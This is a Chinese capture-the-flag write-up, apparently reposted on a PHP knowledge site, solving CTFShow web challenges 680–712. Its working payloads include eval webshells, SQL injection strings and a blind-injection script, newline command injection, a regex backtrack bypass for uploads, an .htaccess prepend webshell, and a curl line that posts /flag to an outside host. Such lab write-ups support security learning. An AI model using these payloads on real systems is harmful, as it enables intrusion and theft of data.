IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFShow-大赛原题改编(未完慢慢更) -> 正文阅读

[PHP知识库]CTFShow-大赛原题改编(未完慢慢更)

web680

code=phpinfo();
在这里插入图片描述
很多函数被禁了,可以看看源码
code=copy('index.php','1.txt');

<?php
error_reporting(0);
$code = $_POST['code'];
eval($code);
?>
post code to run!

code=var_dump(scandir("."));
当前目录下有个 secret_you_never_know,直接访问拿到flag

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "1.txt" [3]=> string(9) "index.php" [4]=> string(21) "secret_you_never_know" } post code to run!

web681

随便输点什么都是一个页面,绿帽子无语
抓个包发现可以注入
在这里插入图片描述
但是注意这里会把输入的单引号直接换成空吞掉

payload
name = ||1#\
就相当于这个样子,构造闭合
select count(*) from ctfshow_users where username = '.....' || 1 #\'good job

在这里插入图片描述

web682

web683

       if(!is_numeric($_GET['秀'])){
          die('必须是数字');
       }else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
          die('你太短了');
       }else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
           die('你太长了');
       }else{
           sleep((int)$_GET['秀']);
           echo $flag;
sleep((int)$_GET['秀']);
可以用16进制绕,会被强转成 0
0x755000

web684 create_function()

之前做过类似的,web147

?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//

web685

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
关键是绕过正则传马
PHP 为了防止正则表达式的拒绝服务攻击,给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万
如果回溯次数超过了 100 万,preg_match 将不再返回非 10,而是直接 false。这样我们就可以绕过正则表达式了

import requests
url = "http://b83ed53b-14bc-4499-a75f-de56ae248803.challenge.ctf.show/"
files = {
    'file':  "<?php eval($_POST[1]);echo 'paidx0';?>"+'a' * 1000000
}
respone = requests.post(url=url,files=files)
for i in range(11):
    new_url = url+'data/{}.php'.format(i)
    new_respone = requests.get(new_url).text
    #print(new_respone)
    if 'paidx0' in new_respone:
        print(i)

web686(无参RCE)

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
正则的意思是多次匹配像这种格式的 a(b(c(d()))),
将他们替换成空,最后是 ;结尾的

姿势一 getallheaders()

前提是中间件要是Apache的才行,
在这里插入图片描述
返回一个数组,当前请求中所有的HTTP标头

所以如果我们在HTTP头中插入恶意代码,就可以从这个数组中提取出来
再HTTP头尾部插入shell: phpinfo();,用 end()来拿我们的最后一个值shell

所以如果把 var_dump 换成 eval 就可以执行phpinfo了
在这里插入图片描述

?exp=eval(end(getallheaders()));

姿势二 get_defined_vars()

在这里插入图片描述
它并不是获取的headers,而是获取的四个全局变量$_GET ,$_POST ,$_COOKIE ,$_FILES ,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中,利用current() 或者 pos() 将这个数组取出

类比上面,我们同样可以用 end() 将最后一个变量值取出,然后直接 eval

?exp=eval(end(pos(get_defined_vars())));&shell=phpinfo();

姿势三 session_id()

将恶意代码写到Cookie 的 PHPSESSID中,然后利用session_id()去把他读出来,然后直接 eval
session_id()需要先开启session才能使用,所以要先session_start()
在这里插入图片描述
需要注意的是,PHPSESSID 只能是字母数字 - 所以我们可以先16进制编码再丢进去
在这里插入图片描述

?exp=eval(hex2bin(session_id(session_start())));

web687

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping  -c 1 ' . $target );
payload	:?ip=127.0.0.1%0acat /flaaag
%0a绕过过滤管道符

web688 escapeshellcmd()

$url=escapeshellarg($url);
$url=escapeshellcmd($url);
system("curl ".$url);
假设传入参数
127.0.0.1' -v -d a=1'

由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用
被 \' 分成两部分
'127.0.0.1' \' '-v -d a=1' \'

接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 进行转义处理
转义后的\\被解释成\,而不再是转义字符,形成单引号闭合
'127.0.0.1' \\ '' -v -d a=1'\\'

payload
?url=http://ip:port/' -F file=@/flag '

web689 ssrfme

if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
就是将 file_get_contents($file) 读出的内容写到 $path 中去

?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php phpinfo();?>
返回值源码中插入了phpinfo(),我们最后只需把这个源码写到文件中就可以了在这里插入图片描述
?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>
在这里插入图片描述

web690

    if ( !preg_match('/^\w+$/', $args[$i]) )
        exit("sorry");
}
exec('./ ' . implode(" ", $args));

传入数组中只能是字母数字下划线,最后通过 implode() 压缩数组成字符串执行

但是因为exec是不返回执行结果的,所以直接构造命令看回显就不现实,还是写一句话马上去吧

关于preg_match() 前面也说过,是可以用%0a 来绕过的,换行符可以分割命令,执行多条命令

vps上可以创建一个index.html,文件内容
<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>
为什么是html不是直接php呢,因为过程中文件内容会被解析,wget下载下来的内容就不是原始内容了

ip进制转换工具

args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制
等价于 exec(./1; mkdir a;cd a;wget 2130706433)
创建了一个a目录,并把index.html下载进去了

现在问题是怎么执行这个(.html)文件里的内容,这个点怎么处理掉
一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
等价于 exec(./1; tar cvf shell a)

a文件夹被打包成shell,执行php代码
args[]=1%0a&args[]=php&args[]=shell
等价于  exec(./1; php shell)

最后只需要访问index.html中代码生成的shell.php就可以了

web691

function filter($str){
      $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
      if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
        
$sql = "select * from admin where  username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
  $row = $res -> fetch_assoc();
  if($row['id']){
     echo $row['username'];
  }
}else{

可以看见的是,过滤掉了一些关键字,然后是括号过滤掉了

判断出有3个列
username='|| 1 order by 3#&password=111

order by 的一个盲注小技巧

在这里插入图片描述
在这里插入图片描述
order by 进行排序,如果小于那就在第一列,如果大于就在后一列,所以可以盲注flag

import requests

s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://efa8df9c-daf3-42eb-bb86-53cf6669ae7d.challenge.ctf.show/"

k=''
for i in range(1,50):
	print(i)
	for j in s:
		data={
		'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
		'password':'1111'
	    }
		r=requests.post(url,data=data)
		print(data['username'])
		if("</code>admin" in r.text):
			k=k+chr(ord(j)-1)
			print(k)
			break

web692

$str = addslashes($_GET['option']);

$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

file_put_contents('./config.php', $file);

先转义引号,然后将传入的内容用单引号包住又再次写入
比如传入
aaa; phpinfo();//
'aaa; phpinfo();//'
如果在读取一次会怎么样
\'aaa; phpinfo();//\'
'\'aaa; phpinfo();//\''
会发现 phpinfo(); 成功逃逸出单引号

在这里插入图片描述

payload

option=;eval($_POST[1]);//
option=%00

web693

$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters'; 
call_user_func($func,$_GET);
include($file);
    
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
  header('location:admin.php');
}

可以发现function可控,然后include包含$file,利用extract变量覆盖来包含出文件

?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php

//function.php
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
            die('Do not hack me!');
//admin.php
if(empty($_SESSION['name'])){
    session_start();
    echo 'hello ' + $_SESSION['name'];
}else{
    die('you must login with admin');
payload

?function=extract&file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMzYwXSk7
POST: 360=system('cat /flag');

web694

$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));

$content = $_POST['content'];

$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;

if($action=='ctfshow'){
    file_put_contents($path,$content);

意思就是将$content 写到$path 路径中
$path = ./ip/file

所以可以直接写马了

在这里插入图片描述

web695

如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。

router.post('/uploadfile', async (ctx, next) => {
  const file = ctx.request.body.files.file;
  if (!fs.existsSync(file.path)) {
    return ctx.body = "Error";
  }
  if(file.path.toString().search("/dev/fd") != -1){
    file.path="/dev/null"
  }
  const reader = fs.createReadStream(file.path);
  let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
  let filePath = path.join(__dirname, 'upload/') + fileId
  const upStream = fs.createWriteStream(filePath);
  reader.pipe(upStream)
  return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});


router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "no_such_file_~"
  }
});

在这里插入图片描述
在这里插入图片描述

payload

{"files": {"file":{"name":"paidx","path":"/etc/passwd"}}}

/etc/passwd 会被复制到 paidx文件里
只需要下载 paidx文件就拿到了/etc/passwd 里的数据

在 downloadfile/paidx 下载文件就行
在这里插入图片描述

web696

web697

在这里插入图片描述
首页是一片黑,源码发现参数,会判断 NOHO是大了还是小了
直接给一个数组,NULL == 0绕过了

来到下一个登录页,看源码,发现单引号中的内容好像是乱码耶,看了大佬的解答是被MD5给加密了
在这里插入图片描述

md5加密后的十六进制自带单引号的几个字符串

ffifdyop
e58
4611686052576742364

web698

web711

robos.txt中有提示信息 ctfshow_love_you
session_id 是jwt,尝试伪造
在这里插入图片描述
登录进去,flag在图片上

web712

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) !== 0) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

代码的意思简单点说就是删了—》又写—》又删
stristr 函数用换行绕过就可以
然后再利用.htaccess 包含自身

详细思路可以看看这几篇文章
Apache的.htaccess利用技巧
XNUCA2019 ez系列web题解
[XNUCA2019Qualifier]EasyPHP
XNUCA2019Qualifie

payload

php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[1])?> \

?filename=.htaccess&content=%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%47%45%54%5b%31%5d%29%3f%3e%20%5c

这题卡了很久,开始试的时候可以执行phpinfo(),我就在想直接反弹shell吧

但是不知道什么原因一直没弹出来,一直卡在这里又一直试,害

web713

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-29 11:54:39  更:2022-04-29 11:54:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 7:24:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码